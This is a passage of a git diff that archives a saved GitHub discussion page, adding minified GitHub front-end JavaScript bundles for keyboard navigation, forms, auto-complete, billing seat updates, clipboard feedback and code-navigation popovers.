o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let 